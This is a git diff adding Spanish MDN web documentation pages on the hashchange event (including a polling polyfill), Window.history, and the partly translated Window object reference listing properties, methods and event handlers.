+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event normally bubbles or not.</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event is cancellable or not.</td>
+  </tr>
+  <tr>
+   <td><code>oldURL</code> {{readonlyInline}}</td>
+   <td>{{jsxref("String")}}</td>
+   <td>The previous URL from which the window was navigated.</td>
+  </tr>
+  <tr>
+   <td>newURL {{readonlyInline}}</td>
+   <td>{{jsxref("String")}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>En <a href="https://github.com/Modernizr/Modernizr/wiki/HTML5-Cross-Browser-Polyfills">esta página</a> se enlistan algunos scripts de ejemplo. Básicamente estos scripts revisan el <code>location.hash</code> en un intervalo regular. Aquí se muestra una versión que permite que solo un controlador sea ligado a la propiedad <code>window.onhashchange</code>:</p>
+
+<pre class="brush:js;">;(function(window) {
+
+  // salir si el navegador implementa el evento
+  if ("onhashchange" in window) { return; }
+
+  var location = window.location,
+    oldURL = location.href,
+    oldHash = location.hash;
+
+  // revisa el hash cada 100ms
+  setInterval(function() {
+    var newURL = location.href,
+      newHash = location.hash;
+
+    // si el hash ha cambiado y un controlador ha sido ligado...
+    if (newHash != oldHash &amp;&amp; typeof window.onhashchange === "function") {
+      // ejecuta el controlador
+      window.onhashchange({
+        type: "hashchange",
+        oldURL: oldURL,
+        newURL: newURL
+      });
+
+      oldURL = newURL;
+      oldHash = newHash;
+    }
+  }, 100);
+
+})(window);
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificacion</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'indices.html#event-hashchange', 'hashchange')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte Básico</td>
+   <td>5.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.9.2")}}<sup>[1]</sup></td>
+   <td>8.0<sup>[2]</sup></td>
+   <td>10.6</td>
+   <td>5.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte Básico</td>
+   <td>2.2</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.9.2")}}</td>
+   <td>9.0</td>
+   <td>11.0</td>
+   <td>5.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Soporte para los atributos <code>oldURL</code>/<code>newURL</code> agregado en Firefox 6.</p>
+
+<p>[2] Atributos <code>oldURL</code>/<code>newURL</code> no soportados.</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Mozilla_event_reference/popstate"><code>popstate</code></a></li>
+ <li><a href="/en-US/docs/Web/API/WindowEventHandlers/onhashchange">WindowEventHandlers.onhashchange</a></li>
+</ul>
diff --git a/files/es/web/api/window/history/index.html b/files/es/web/api/window/history/index.html
new file mode 100644
index 0000000000..02fb7a8cab
--- /dev/null
+++ b/files/es/web/api/window/history/index.html
@@ -0,0 +1,39 @@
+---
+title: Window.history
+slug: Web/API/Window/history
+translation_of: Web/API/Window/history
+---
+<p>{{ APIRef }}</p>
+
+<p>La propiedad de solo lectura <code><strong>Window.history</strong></code> regresa una referencia al objeto {{domxref("History")}}, quien provee una interfaz para manipular el historial de <em>sesión del navegador</em> (páginas visitadas en el tab o marco de la pagina actual cargada).</p>
+
+<p>Ver <a href="/es/docs/DOM/Manipulando_el_historial_del_navegador" title="en/DOM/Manipulating the browser history">Manipulando el historial del navegador</a> para ejemplos y detalles. En particular, este articulo explica características seguras de los métodos <code>pushState()</code> y <code>replaceState()</code> que debe tener en cuenta antes de usarlos. </p>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="syntaxbox"><em>var historyObj</em> = <em>window</em>.history;
+</pre>
+
+<h2 id="Example" name="Example">Ejemplo</h2>
+
+<pre class="brush: js">history.back();     // equivalente a hacer clic en el botón de regresar
+history.go(-1);     // equivalente a history.back();
+</pre>
+
+<h2 id="Notes" name="Notes">Notas</h2>
+
+<p>Para las páginas de nivel superior se puede ver la lista de páginas en el historial de la sesión, accesible a través del objeto de la <code>History</code>, en los desplegables de tu navegador junto a los botones de avance y retroceso.</p>
+
+<p>Por razones de seguridad el objeto <code>History</code> no permite que el código sin privilegio acceda a las URLs de otras páginas en el historial de la sesión, pero permite navegar por el historial de la sesión.</p>
+
+<p>No hay manera de limpiar el historial de la sesión o desactivar la parte de atrás/adelante desde la navegación de código sin privilegios. La solución más cercana disponible es el método <code><a href="/es/docs/Web/API/Window/location#replace">location.replace()</a></code>, que sustituye al elemento actual de la historia sesión con la URL proporcionada.</p>
+
+<p>{{Compat("api.Window.history")}}</p>
+
+<p>
+ </p><h2 id="Specification" name="Specification">Especificaciones</h2>
+<p></p>
+
+<ul>
+ <li><a class="external" href="http://whatwg.org/html#the-history-interface">Historial de interface HTML5</a></li>
+</ul>
diff --git a/files/es/web/api/window/index.html b/files/es/web/api/window/index.html
new file mode 100644
index 0000000000..c0f8e9aa38
--- /dev/null
+++ b/files/es/web/api/window/index.html
@@ -0,0 +1,412 @@
+---
+title: window
+slug: Web/API/Window
+tags:
+  - API
+  - DOM
+  - Window
+  - páginas_a_traducir
+translation_of: Web/API/Window
+---
+<p>{{APIRef}}</p>
+
+<p><span class="seoSummary">El objeto <code>window</code> representa la ventana que contiene un documento DOM; la propiedad <code>document</code> apunta al <a href="/es/docs/DOM/document">DOM document</a> cargado en esa ventana.</span> El objeto window al que pertenece un documento puede ser obtenido usando la propiedad {{Domxref("document.defaultView")}}.</p>
+
+<p>Esta sección proporciona una pequeña referencia a todos los métodos, propiedades y eventos disponibles a través del objeto DOM <code>window</code>. El objeto <code>window</code> implementa la interfaz <code>Window</code> , que a su vez hereda de la interfaz <code><a href="http://www.w3.org/TR/DOM-Level-2-Views/views.html#Views-AbstractView">AbstractView</a></code>. Algunas funciones como globales adicionales, espacios de nombres, interfaces, y constructores no típicamente asociados con el objeto window pero disponibles en éste, están listados en las <a href="/es/docs/Web/JavaScript/Referencia">Referencia de JavaScript</a> y en el <a href="/es/docs/Referencia_DOM_de_Gecko" title="/en-US/docs/DOM/DOM_Reference">Referencia DOM de Gecko</a>.</p>
+
+<p>En un navegador con pestañas, como Firefox, cada pestaña contine su propio <code>window</code> object (y si está escribiendo una extensión, la ventana del navegador es una ventana separada también - para más información vea <a href="/es/docs/Trabajar_con_ventanas_desde_código_chrome#Content_windows">Trabajar con ventanas desde el código chrome</a>). Esto significa que el objeto <code>window</code> no se comparte entre diferentes pestañas de la misma ventana del navegador. Algunos métodos, como {{Domxref("window.resizeTo")}} y {{Domxref("window.resizeBy")}} se aplican sobre toda la ventana del navegador y no sobre una pestaña específica a la que pertenece el objeto <code>window</code>. Generalmente, cualquier cosa que razonablemente no pueda pertenecer a una pestaña, pertenece a la ventana.</p>
+
+<h2 id="Constructores">Constructores</h2>
+
+<p>Ver también <a href="/en-US/docs/DOM/DOM_Reference" title="/en-US/docs/DOM/DOM_Reference">DOM Interfaces</a>.</p>
+
+<dl>
+ <dt>{{domxref("Window.DOMParser")}}</dt>
+ <dd><code>DOMParser</code> puede traducir una fuente XML o  HTML almacenada en una cadena en un <a href="/es/docs/Archive/Mozilla/XUL/Tutorial_de_XUL/Modelo_de_objeto_de_documento">Documento</a> DOM. <code>DOMParser</code> se especifica en <a href="https://w3c.github.io/DOM-Parsing/">DOM Parsing and Serialization.</a></dd>
+ <dt>{{domxref("Image")}}</dt>
+ <dd>Se usa para crear un {{domxref("HTMLImageElement")}}.</dd>
+ <dt>{{domxref("Option")}}</dt>
+ <dd>Se usa para crear un {{domxref("HTMLOptionElement")}}</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("StaticRange")}} {{experimental_inline}} {{readonlyinline}}</dt>
+ <dd>Retorna un constructor {{domxref('StaticRange.StaticRange','StaticRange()')}} que crea un objeto {{domxref('StaticRange')}}.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Worker")}}</dt>
+ <dd>Se usa para crear un <a href="/en-US/docs/DOM/Using_web_workers">Web worker.</a></dd>
+ <dt>{{domxref("Window.XMLSerializer")}}</dt>
+ <dd>Convierte un árbol DOM en una fuente XML o HTML.</dd>
+</dl>
+
+<h2 id="Propiedades">Propiedades</h2>
+
+<p><em>Esta interface hereda propiedades de {{domxref("EventTarget")}} interface e implementa propiedades de {{domxref("WindowTimers")}}, {{domxref("WindowBase64")}}, y {{domxref("WindowEventHandlers")}}.</em></p>
+
+<p>Nota que la propiedades que son objetos (por ejemplo para sobreescribir los prototipos de los elementos built-in) son descritos en una sección separada más abajo.</p>
+
+<dl>
+ <dt>{{domxref("Window.applicationCache")}} {{readOnlyInline}} {{gecko_minversion_inline("1.9")}}</dt>
+ <dd>An {{domxref("OfflineResourceList")}} object providing access to the offline resources for the window.</dd>
+ <dt>{{domxref("Window.closed")}} {{Non-standard_inline}}{{readOnlyInline}}</dt>
+ <dd>Esta propiedad indica si la actual ventana esta cerrada o abierta.</dd>
+ <dt><code><a href="/en-US/docs/Components_object">Window.Components</a></code> {{Non-standard_inline}}</dt>
+ <dd>El punto de acceso a muchas propiedades  <a href="/en-US/docs/XPCOM">XPCOM</a>.  Algunas propiedades, ej. <a href="/en-US/docs/Components.classes">classes</a>, son disponibles solamente a codigo suficientemente privilegiado. <strong>El codigo Web no deberia usar esta propiedad.</strong></dd>
+ <dt>{{domxref("console","Window.console")}} {{Non-standard_inline}} {{ReadOnlyInline}}</dt>
+ <dd>Retorna una referencia al objeto de la consola proveyendo acceso a la consola debugger del navegador.</dd>
+ <dt>{{domxref("Window.content")}} and Window._content {{Non-standard_inline}} {{obsolete_inline}}{{ReadOnlyInline}}</dt>
+ <dd>Returns a reference to the content element in the current window. The obsolete variant with underscore is no longer available from Web content.</dd>
+ <dt>{{domxref("Window.controllers")}}{{non-standard_inline}}{{ReadOnlyInline}}</dt>
+ <dd>Returns the XUL controller objects for the current chrome window.</dd>
+ <dt>{{domxref("Window.crypto")}} {{readOnlyInline}}</dt>
+ <dd>Returns the browser crypto object.</dd>
+ <dt>{{domxref("Window.defaultStatus")}} {{Obsolete_inline("gecko23")}}</dt>
+ <dd>Gets/sets the status bar text for the given window.</dd>
+ <dt>{{domxref("Window.devicePixelRatio")}} {{non-standard_inline}}{{ReadOnlyInline}}</dt>
+ <dd>Returns the ratio between physical pixels and device independent pixels in the current display.</dd>
+ <dt>{{domxref("Window.dialogArguments")}} {{Fx_minversion_inline(3)}} {{ReadOnlyInline}}</dt>
+ <dd>Gets the arguments passed to the window (if it's a dialog box) at the time {{domxref("window.showModalDialog()")}} was called. This is an {{Interface("nsIArray")}}.</dd>
+ <dt>{{domxref("Window.directories")}} {{obsolete_inline}}</dt>
+ <dd>Sinonimo de {{domxref("window.personalbar")}}</dd>
+ <dt>{{domxref("Window.document")}} {{ReadOnlyInline}}</dt>
+ <dd>Retorna una referencia al documento que esa ventana contiene.</dd>
+ <dt>{{domxref("Window.frameElement")}} {{readOnlyInline}}</dt>
+ <dd>Returns the element in which the window is embedded, or null if the window is not embedded.</dd>
+ <dt>{{domxref("Window.frames")}} {{readOnlyInline}}</dt>
+ <dd>Returns an array of the subframes in the current window.</dd>
+ <dt>{{domxref("Window.fullScreen")}} {{gecko_minversion_inline("1.9")}}</dt>
+ <dd>Esta propiedad indica si la ventana esta desplegada en pantalla completa o no.</dd>
+ <dt><code>{{domxref("window.globalStorage")}} </code>{{gecko_minversion_inline("1.8.1")}} {{Non-standard_inline}} {{Obsolete_inline("gecko13")}}</dt>
+ <dd>Unsupported since Gecko 13 (Firefox 13). Use {{domxref("Window.localStorage")}} instead.<br>
+ Was: Multiple storage objects that are used for storing data across multiple pages.</dd>
+ <dt>{{domxref("Window.history")}} {{ReadOnlyInline}}</dt>
+ <dd>Retorna una referencia a la historia del objeto.</dd>
+ <dt>{{domxref("Window.innerHeight")}}</dt>
+ <dd>Obtiene la altura del area de contenido del navegador incluyendo, si es interpretado, la barra de deslizado.</dd>
+ <dt>{{domxref("window.innerWidth")}}</dt>
+ <dd>Obtiene el ancho del area de contenido de la ventana del navegador, si es interpretado, la barra de deslizado vertical.</dd>
+ <dt>{{domxref("Window.length")}} {{readOnlyInline}}</dt>
+ <dd>Retorna el numero de marcos en la ventana. Ver tambien {{domxref("window.frames")}}.</dd>
+ <dt>{{domxref("Window.location")}} {{ReadOnlyInline}}</dt>
+ <dd>Obtiene/fija la location, o URL actual, del objeto de la ventana.</dd>
+ <dt>{{domxref("Window.locationbar")}} {{ReadOnlyInline}}</dt>
+ <dd>Retorna el objeto locationbar, cuya visibilidad puede ser fijada en la ventana.</dd>
+ <dt>{{domxref("Window.localStorage")}} {{readOnlyInline}}{{gecko_minversion_inline("1.9.1")}}</dt>
+ <dd>Retorna una referencia al objeto almacenamiento local usado para almacenar datos que pueden ser de accedidos por el origen que los creo.</dd>
+ <dt>{{domxref("Window.menubar")}} {{ReadOnlyInline}}</dt>
+ <dd>Retorna el objeto barra de menu, cuya visibilidad puede ser fijada en la ventana.</dd>
+ <dt>{{domxref("Window.messageManager")}} {{gecko_minversion_inline("2.0")}}</dt>
+ <dd>Retorna el objeto <a href="/en-US/docs/The_message_manager">message manager</a>  para esta ventana.</dd>
+ <dt>{{domxref("Window.mozAnimationStartTime")}} {{ReadOnlyInline}}{{gecko_minversion_inline("2.0")}}</dt>
+ <dd>The time in milliseconds since epoch at which the current animation cycle began.</dd>
+ <dt>{{domxref("Window.mozInnerScreenX")}} {{ReadOnlyInline}}{{non-standard_inline}}{{gecko_minversion_inline("1.9.2")}}</dt>
+ <dd>Returns the horizontal (X) coordinate of the top-left corner of the window's viewport, in screen coordinates. This value is reported in CSS pixels. See <code>mozScreenPixelsPerCSSPixel</code> in {{interface("nsIDOMWindowUtils")}} for a conversion factor to adapt to screen pixels if needed.</dd>
+ <dt>{{domxref("Window.mozInnerScreenY")}} {{ReadOnlyInline}} {{non-standard_inline}}{{gecko_minversion_inline("1.9.2")}}</dt>
+ <dd>Returns the vertical (Y) coordinate of the top-left corner of the window's viewport, in screen coordinates. This value is reported in CSS pixels. See <code>mozScreenPixelsPerCSSPixel</code> for a conversion factor to adapt to screen pixels if needed.</dd>
+ <dt>{{domxref("Window.mozPaintCount")}} {{non-standard_inline}}{{ReadOnlyInline}} {{gecko_minversion_inline("2.0")}}</dt>
+ <dd>Returns the number of times the current document has been rendered to the screen in this window. This can be used to compute rendering performance.</dd>
+ <dt>{{domxref("Window.name")}}</dt>
+ <dd>Gets/sets the name of the window.</dd>
+ <dt>{{domxref("Window.navigator")}} {{readOnlyInline}}</dt>
+ <dd>Returns a reference to the navigator object.</dd>
+ <dt>{{domxref("Window.opener")}}</dt>
+ <dd>Returns a reference to the window that opened this current window.</dd>
+ <dt>{{domxref("Window.outerHeight")}} {{readOnlyInline}}</dt>
+ <dd>Gets the height of the outside of the browser window.</dd>
+ <dt>{{domxref("Window.outerWidth")}} {{readOnlyInline}}</dt>
+ <dd>Gets the width of the outside of the browser window.</dd>
+ <dt>{{domxref("Window.scrollX","Window.pageXOffset")}} {{readOnlyInline}}</dt>
+ <dd>An alias for {{domxref("window.scrollX")}}.</dd>
+ <dt>{{domxref("Window.scrollY","Window.pageYOffset")}}{{readOnlyInline}}</dt>
+ <dd>An alias for {{domxref("window.scrollY")}}</dd>
+ <dt>{{domxref("Window.sessionStorage")}} {{readOnlyInline}}</dt>
+ <dd>Returns a reference to the session storage object used to store data that may only be accessed by the origin that created it.</dd>
+ <dt>{{domxref("SpeechSynthesisGetter.speechSynthesis")}} {{readOnlyInline}}</dt>
+ <dd></dd>
+ <dt>{{domxref("Window.parent")}} {{readOnlyInline}}</dt>
+ <dd>Returns a reference to the parent of the current window or subframe.</dd>
+ <dt>{{domxref("Window.performance")}} {{readOnlyInline}}</dt>
+ <dd>Provides a hosting area for <a href="/en-US/docs/Navigation_timing">performance related</a> attributes.</dd>
+ <dt>{{domxref("Window.personalbar")}} {{readOnlyInline}}</dt>
+ <dd>Returns the personalbar object, whose visibility can be toggled in the window.</dd>
+ <dt>{{domxref("Window.pkcs11")}} {{obsolete_inline(29)}}</dt>
+ <dd>Formerly provided access to install and remove PKCS11 modules.</dd>
+ <dt>{{domxref("Window.returnValue")}} {{Fx_minversion_inline(3)}}</dt>
+ <dd>The return value to be returned to the function that called {{domxref("window.showModalDialog()")}} to display the window as a modal dialog.</dd>
+ <dt>{{domxref("Window.screen")}} {{readOnlyInline}}</dt>
+ <dd>Returns a reference to the screen object associated with the window.</dd>
+ <dt>{{domxref("Window.screenX")}} {{readOnlyInline}}</dt>
+ <dd>Returns the horizontal distance of the left border of the user's browser from the left side of the screen.</dd>
+ <dt>{{domxref("Window.screenY")}} {{readOnlyInline}}</dt>
+ <dd>Returns the vertical distance of the top border of the user's browser from the top side of the screen.</dd>
+ <dt>{{domxref("Window.scrollbars")}} {{readOnlyInline}}</dt>
+ <dd>Returns the scrollbars object, whose visibility can be toggled in the window.</dd>
+ <dt>{{domxref("Window.scrollMaxX")}}{{non-standard_inline}}{{ReadOnlyInline}}</dt>
+ <dd>The maximum offset that the window can be scrolled to horizontally, that is the document width minus the viewport width.</dd>
+ <dt>{{domxref("Window.scrollMaxY")}}{{non-standard_inline}}{{ReadOnlyInline}}</dt>
+ <dd>The maximum offset that the window can be scrolled to vertically (i.e., the document height minus the viewport height).</dd>
+ <dt>{{domxref("Window.scrollX")}} {{readOnlyInline}}</dt>
+ <dd>Returns the number of pixels that the document has already been scrolled horizontally.</dd>
+ <dt>{{domxref("Window.scrollY")}} {{readOnlyInline}}</dt>
+ <dd>Returns the number of pixels that the document has already been scrolled vertically.</dd>
+ <dt>{{domxref("Window.self")}} {{ReadOnlyInline}}</dt>
+ <dd>Returns an object reference to the window object itself.</dd>
+ <dt>{{domxref("Window.sessionStorage")}} {{Fx_minversion_inline("2.0")}}</dt>
+ <dd>Returns a storage object for storing data within a single page session.</dd>
+ <dt>{{domxref("Window.sidebar")}} {{non-standard_inline}}{{ReadOnlyInline}}</dt>
+ <dd>Returns a reference to the window object of the sidebar.</dd>
+ <dt>{{domxref("Window.status")}}</dt>
+ <dd>Gets/sets the text in the statusbar at the bottom of the browser.</dd>
+ <dt>{{domxref("Window.statusbar")}} {{readOnlyInline}}</dt>
+ <dd>Returns the statusbar object, whose visibility can be toggled in the window.</dd>
+ <dt>{{domxref("Window.toolbar")}} {{readOnlyInline}}</dt>
+ <dd>Returns the toolbar object, whose visibility can be toggled in the window.</dd>
+ <dt>{{domxref("Window.top")}} {{readOnlyInline}}</dt>
+ <dd>Returns a reference to the topmost window in the window hierarchy. This property is read only.</dd>
+ <dt>{{domxref("Window.window")}} {{ReadOnlyInline}}</dt>
+ <dd>Returns a reference to the current window.</dd>
+ <dt><code>window[0]</code>,<code> window[1]</code>, etc.</dt>
+ <dd>Returns a reference to the <code>window</code> object in the frames. See {{domxref("Window.frames")}} for more details.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em> Esta interfaz hereda metodos de la interfaz {{domxref("EventTarget")}}  e implementa metodos {{domxref("WindowTimers")}}, {{domxref("WindowBase64")}}, y {{domxref("WindowEventHandlers")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("EventTarget.addEventListener()")}}</dt>
+ <dd>Registra un controlador de eventos a un tipo de evento especifico en la ventana.</dd>
+ <dt>{{domxref("Window.alert()")}}</dt>
+ <dd>Muestra una pequeña ventana de alerta.</dd>
+ <dd>El estilo y posición de la ventana puede variar dependiendo de que navegador este usando.</dd>
+ <dt>{{domxref("WindowBase64.atob()")}}</dt>
+ <dd>Decodes a string of data which has been encoded using base-64 encoding.</dd>
+ <dt>{{domxref("Window.back()")}} {{Non-standard_inline}} {{obsolete_inline}}</dt>
+ <dd>Regresa en la ventana de historial.</dd>
+ <dt>{{domxref("Window.blur()")}}</dt>
+ <dd>Sets focus away from the window.</dd>
+ <dt>{{domxref("WindowBase64.btoa()")}}</dt>
+ <dd>Creates a base-64 encoded ASCII string from a string of binary data.</dd>
+ <dt>{{domxref("Window.captureEvents()")}} {{Deprecated_inline}}</dt>
+ <dd>Registers the window to capture all events of the specified type.</dd>
+ <dt>{{domxref("Window.clearImmediate()")}}</dt>
+ <dd>Cancels the repeated execution set using <code>setImmediate</code>.</dd>
+ <dt>{{domxref("WindowTimers.clearInterval()")}}</dt>
+ <dd>Cancels the repeated execution set using {{domxref("WindowTimers.setInterval()")}}.</dd>
+ <dt>{{domxref("WindowTimers.clearTimeout()")}}</dt>
+ <dd>Cancels the repeated execution set using {{domxref("WindowTimers.setTimeout()")}}.</dd>
+ <dt>{{domxref("Window.close()")}}</dt>
+ <dd>Cierra la ventana actual.</dd>
+ <dt>{{domxref("Window.confirm()")}}</dt>
+ <dd>Muestra una ventana de comfirmación con dos únicas y posibles respuestas. <strong>Confirmar </strong>y<strong> Cancelar</strong>.</dd>
+ <dt>{{domxref("Window.disableExternalCapture()")}} {{obsolete_inline(24)}}</dt>
+ <dd>{{todo("NeedsContents")}}</dd>
+ <dt>{{domxref("Window.dispatchEvent()")}}</dt>
+ <dd>Usado para activar un evento.</dd>
+ <dt>{{domxref("Window.dump()")}}</dt>
+ <dd>Escribe un mensaje a la consola.</dd>
+ <dt>{{domxref("Window.enableExternalCapture()")}} {{obsolete_inline(24)}}</dt>
+ <dd>{{todo("NeedsContents")}}</dd>
+ <dt>{{domxref("Window.find()")}}</dt>
+ <dd>Busca un string dado en una ventana.</dd>
+ <dt>{{domxref("Window.focus()")}}</dt>
+ <dd>Fija el enfoque en la ventana actual.</dd>
+ <dt>{{domxref("Window.forward()")}} {{Non-standard_inline}} {{obsolete_inline}}</dt>
+ <dd>Moves the window one document forward in the history.</dd>
+ <dt>{{domxref("Window.getAttention()")}}</dt>
+ <dd>Flashes the application icon.</dd>
+ <dt>{{domxref("Window.getAttentionWithCycleCount()")}}</dt>
+ <dd>{{todo("NeedsContents")}}</dd>
+ <dt>{{domxref("Window.getComputedStyle()")}}</dt>
+ <dd>Gets computed style for the specified element. Computed style indicates the computed values of all CSS properties of the element.</dd>
+ <dt>{{domxref("Window.getDefaulComputedStyle()")}}</dt>
+ <dd>Gets default computed style for the specified element, ignoring author stylesheets.</dd>
+ <dt>{{domxref("Window.getSelection()")}}</dt>
+ <dd>Returns the selection object representing the selected item(s).</dd>
+ <dt>{{domxref("Window.home()")}} {{Non-standard_inline}} {{obsolete_inline}}</dt>
+ <dd>Regresa el navegador a la pagina de inicio.</dd>
+ <dt>{{domxref("Window.matchMedia()")}} {{gecko_minversion_inline("6.0")}}</dt>
+ <dd>Returns a {{domxref("MediaQueryList")}} object representing the specified media query string.</dd>
+ <dt>{{domxref("Window.maximize()")}}</dt>
+ <dd>{{todo("NeedsContents")}}</dd>
+ <dt>{{domxref("Window.minimize()")}} (top-level XUL windows only)</dt>
+ <dd>Minimiza la ventana.</dd>
+ <dt>{{domxref("Window.moveBy()")}}</dt>
+ <dd>Mueve la ventana actual por una cantidad especificada.</dd>
+ <dt>{{domxref("Window.moveTo()")}}</dt>
+ <dd>Mueve la ventana a una coordenada especificada.</dd>
+ <dt>{{domxref("Window.mozRequestAnimationFrame()")}} {{gecko_minversion_inline("2.0")}}</dt>
+ <dd>Tells the browser that an animation is in progress, requesting that the browser schedule a repaint of the window for the next animation frame. This will cause a <code>MozBeforePaint</code> event to fire before that repaint occurs.</dd>
+ <dt>{{domxref("Window.open()")}}</dt>
+ <dd>Abre una nueva ventana.</dd>
+ <dt>{{domxref("Window.openDialog()")}}</dt>
+ <dd>Abre una nueva ventana de dialogo.</dd>
+ <dt>{{domxref("Window.postMessage()")}} {{Fx_minversion_inline(3)}}</dt>
+ <dd>Provides a secure means for one window to send a string of data to another window, which need not be within the same domain as the first.</dd>
+ <dt>{{domxref("Window.print()")}}</dt>
+ <dd>Opens the Print Dialog to print the current document.</dd>
+ <dt>{{domxref("Window.prompt()")}}</dt>
+ <dd>Returns the text entered by the user in a prompt dialog.</dd>
+ <dt>{{domxref("Window.releaseEvents()")}} {{Deprecated_inline}}</dt>
+ <dd>Releases the window from trapping events of a specific type.</dd>
+ <dt>{{domxref("element.removeEventListener","Window.removeEventListener()")}}</dt>
+ <dd>Removes an event listener from the window.</dd>
+ <dt>{{domxref("Window.resizeBy()")}}</dt>
+ <dd>Resizes the current window by a certain amount.</dd>
+ <dt>{{domxref("Window.resizeTo()")}}</dt>
+ <dd>Dynamically resizes window.</dd>
+ <dt>{{domxref("Window.restore()")}}</dt>
+ <dd>{{todo("NeedsContents")}}</dd>
+ <dt>{{domxref("Window.routeEvent()")}} {{obsolete_inline(24)}}</dt>
+ <dd>{{todo("NeedsContents")}}</dd>
+ <dt>{{domxref("Window.scroll()")}}</dt>
+ <dd>Scrolls the window to a particular place in the document.</dd>
+ <dt>{{domxref("Window.scrollBy()")}}</dt>
+ <dd>Scrolls the document in the window by the given amount.</dd>
+ <dt>{{domxref("Window.scrollByLines()")}}</dt>
+ <dd>Scrolls the document by the given number of lines.</dd>
+ <dt>{{domxref("Window.scrollByPages()")}}</dt>
+ <dd>Scrolls the current document by the specified number of pages.</dd>
+ <dt>{{domxref("Window.scrollTo()")}}</dt>
+ <dd>Scrolls to a particular set of coordinates in the document.</dd>
+ <dt>{{domxref("Window.setCursor()")}}</dt>
+ <dd>Changes the cursor for the current window</dd>
+ <dt>{{domxref("Window.setImmediate()")}}</dt>
+ <dd>Executes a function after the browser has finished other heavy tasks</dd>
+ <dt>{{domxref("WindowTimers.setInterval()")}}</dt>
+ <dd>Schedules the execution of a function each X milliseconds.</dd>
+ <dt>{{domxref("Window.setResizable")}}</dt>
+ <dd>{{todo("NeedsContents")}}</dd>
+ <dt>{{domxref("WindowTimers.setTimeout()")}}</dt>
+ <dd>Sets a delay for executing a function.</dd>
+ <dt>{{domxref("Window.showModalDialog()")}} {{Fx_minversion_inline(3)}}</dt>
+ <dd>Displays a modal dialog.</dd>
+ <dt>{{domxref("Window.sizeToContent()")}}</dt>
+ <dd>Sizes the window according to its content.</dd>
+ <dt>{{domxref("Window.stop()")}}</dt>
+ <dd>This method stops window loading.</dd>
+ <dt>{{domxref("Window.updateCommands()")}}</dt>
+ <dd>Updates the state of commands of the current chrome window (UI).</dd>
+</dl>
+
+<h2 id="Controlador_de_Eventos">Controlador de Eventos</h2>
+
+<p>Estas son propiedades del objeto ventana que pueden ser fijadas para establecer controladores de eventos para las diversar cosas que pueden pasar en la ventana que podria ser de interes.</p>
+
+<p><em>Esta interfaz hereda controladores de eventos de la interfaz {{domxref("EventTarget")}} e implementa controladores de eventos desde {{domxref("WindowTimers")}}, {{domxref("WindowBase64")}}, y {{domxref("WindowEventHandlers")}}.</em></p>
+
+<div class="note">
+<p><strong>Nota:</strong> Empezando en {{Gecko("9.0")}}, se puede usar el sintaxis <code>if ("onabort" in window)</code> para determinar si existe una propiedad dada de controlador de eventos o no. Esto es porque interfazes de controlador de eventos han sido actualizadas al respectivo web IDL interfaz. Ver <a href="/en-US/docs/DOM/DOM_event_handlers">DOM event handlers</a> para mas detalles.</p>
+</div>
+
+<dl>
+ <dt>{{domxref("GlobalEventHandlers.onabort")}}</dt>
+ <dd>An event handler property for abort events on the window.</dd>
+ <dt>{{domxref("WindowEventHandlers.onbeforeunload")}}</dt>
+ <dd>An event handler property for before-unload events on the window.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onblur")}}</dt>
+ <dd>An event handler property for blur events on the window.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onchange")}}</dt>
+ <dd>An event handler property for change events on the window.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onclick")}}</dt>
+ <dd>An event handler property for click events on the window.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onclose")}}</dt>
+ <dd>An event handler property for handling the window close event.</dd>
+ <dt>{{domxref("GlobalEventHandlers.oncontextmenu")}}</dt>
+ <dd>An event handler property for right-click events on the window.</dd>
+ <dt>{{domxref("Window.ondevicelight")}}</dt>
+ <dd>An event handler property for any ambient light levels changes</dd>
+ <dt>{{domxref("Window.ondevicemotion")}} {{gecko_minversion_inline("6.0")}}</dt>
+ <dd>{{todo("NeedsContents")}}</dd>
+ <dt>{{domxref("Window.ondeviceorientation")}} {{gecko_minversion_inline("6.0")}}</dt>
+ <dd>An event handler property for any device orientation changes</dd>
+ <dt>{{domxref("Window.ondeviceproximity")}}</dt>
+ <dd>An event handler property for device proximity event</dd>
+ <dt>{{domxref("GlobalEventHandlers.onerror")}}</dt>
+ <dd>An event handler property for {{event("error")}} events raised on the window.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onfocus")}}</dt>
